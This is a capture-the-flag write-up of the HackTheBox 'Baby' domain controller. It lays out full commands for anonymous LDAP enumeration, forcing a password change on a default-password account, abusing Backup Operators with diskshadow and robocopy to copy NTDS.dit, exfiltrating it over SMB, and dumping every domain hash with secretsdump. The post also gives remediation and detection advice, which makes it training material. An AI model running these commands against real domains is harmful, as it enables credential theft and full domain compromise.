Post

HackTheBox: Baby - Easy Windows

Baby is an easy Windows machine. Anonymous LDAP enumeration reveals a hidden OU with an account flagged to change its password at next logon. Once in, that user turns out to be a Backup Operator, which we abuse with diskshadow and SeBackupPrivilege to copy NTDS.dit off the domain controller and dump every hash in the domain.

HackTheBox: Baby - Easy Windows

Overview

  
PlatformHackTheBox
DifficultyEasy
OSWindows
Key techniquesAnonymous LDAP, Password-Change Abuse, Backup Operators, NTDS Dump

Baby is a clean demonstration of how a single misplaced group membership, Backup Operators, hands you the entire domain. The foothold comes from careful LDAP enumeration, and the privesc is a classic SeBackupPrivilege NTDS.dit theft.

This post covers a retired box. Spoilers ahead.

Recon

Port scan

1
nmap -A -Pn -p- 10.129.143.132 -oA nmap_output/baby.vl
1
2
3
4
5
6
7
8
9
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl)
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

The host BabyDC.baby.vl is the domain controller for baby.vl, with LDAP, RDP, and WinRM exposed.

LDAP enumeration

Testing an anonymous LDAP bind works, so we can dump the user list without credentials:

1
nxc ldap baby.vl -u "" -p "" --users-export users.txt

Users exported over anonymous LDAP

Spraying the obvious default passwords against that list came up empty. But the --users-export output only pulls accounts from the default Users container, and a couple of accounts had been dropped into a different OU. A broader query over the whole tree catches them:

1
ldapsearch -x -b "dc=baby, dc=vl" "*" -H ldap://BabyDC.baby.vl | grep dn

Hidden accounts in a separate OU

nxc --users-export and similar helpers often only enumerate the default container. When a spray fails, re-run a raw ldapsearch across the whole base DN, accounts tucked into custom OUs are easy to miss otherwise.

Initial Access

One of those hidden accounts, Caroline.Robinson, is flagged to change password at next logon with a known default. We can set a new password directly over SMB without ever logging in interactively:

1
2
nxc smb baby.vl -u "Caroline.Robinson" -p 'BabyStart123!' \
  -M change-password -o NEWPASS='SuperStrongPass123!'
1
Caroline.Robinson/SuperStrongPass123!

That gives us a working account and a WinRM shell.

Privilege Escalation

Caroline.Robinson is a Backup Operator

Checking the new account’s group memberships shows the key misconfiguration, Caroline.Robinson is a member of Backup Operators:

1
nxc smb baby.vl -u "Caroline.Robinson" -p 'SuperStrongPass123!' -M backup_operator

Backup Operator membership confirmed

Backup Operators hold SeBackupPrivilege, which lets you read any file on the system regardless of ACLs, including the files that back the Active Directory database. That’s enough to steal NTDS.dit.

The live NTDS.dit is locked, so we use diskshadow to create a shadow copy of the C: volume and expose it as a new drive:

1
2
3
4
5
echo "set context persistent nowriters" | Out-File ./diskshadow.txt -Encoding ascii
echo "add volume c: alias temp" | Out-File ./diskshadow.txt -Encoding ascii -Append
echo "create" | Out-File ./diskshadow.txt -Encoding ascii -Append
echo "expose %temp% p:" | Out-File ./diskshadow.txt -Encoding ascii -Append
diskshadow.exe /s c:\temp\diskshadow.txt

Then robocopy with the /b (backup mode) flag copies NTDS.dit out of the shadow copy, and we grab the SYSTEM hive for the boot key:

1
2
robocopy /b p:\Windows\ntds C:\temp NTDS.dit
reg.exe save hklm\system C:\temp\system.bak

Root / Flags

Dumping the domain

With both files exfiltrated (I used an SMB server rather than evil-winrm’s slow download), secretsdump reconstructs every hash in the domain offline:

1
2
# faster than evil-winrm download for large files
smbserver.py share . -smb2support -username shady -password shady
1
secretsdump.py -ntds ntds.dit -system system.bak LOCAL > hashes.txt

NTDS.dit dumped with all domain hashes

That dumps the Administrator (and krbtgt) hashes. Passing the Administrator hash into WinRM gives full control of the domain.

Box rooted.

Lessons Learned

  • Anonymous LDAP leaks the domain’s structure. It handed over a user list for free, and the foothold account was only a full-tree LDAP query away.
  • “Change at next logon” is a foothold, not a wall. A known default plus SMB’s password-change support turned a locked account into a live one.
  • Backup Operators is effectively Domain Admin. SeBackupPrivilege reads anything, and NTDS.dit is the whole domain.

Remediation

How a defender would fix this:

  • Disable anonymous LDAP binds.
  • Don’t leave accounts sitting on default passwords, even with “must change at next logon” set.
  • Treat Backup Operators as a tier-0 group. Only domain controllers’ own backup processes should hold SeBackupPrivilege; remove regular users from it.

How a defender would detect this:

  • Anonymous LDAP binds and broad directory enumeration.
  • Shadow copy creation (diskshadow) and access to NTDS.dit / registry hive saves on a DC, Event IDs around VSS and sensitive file access.
  • Offline-style replication of credentials followed by Administrator logons from unusual hosts.

References

This post is licensed under CC BY 4.0 by the author.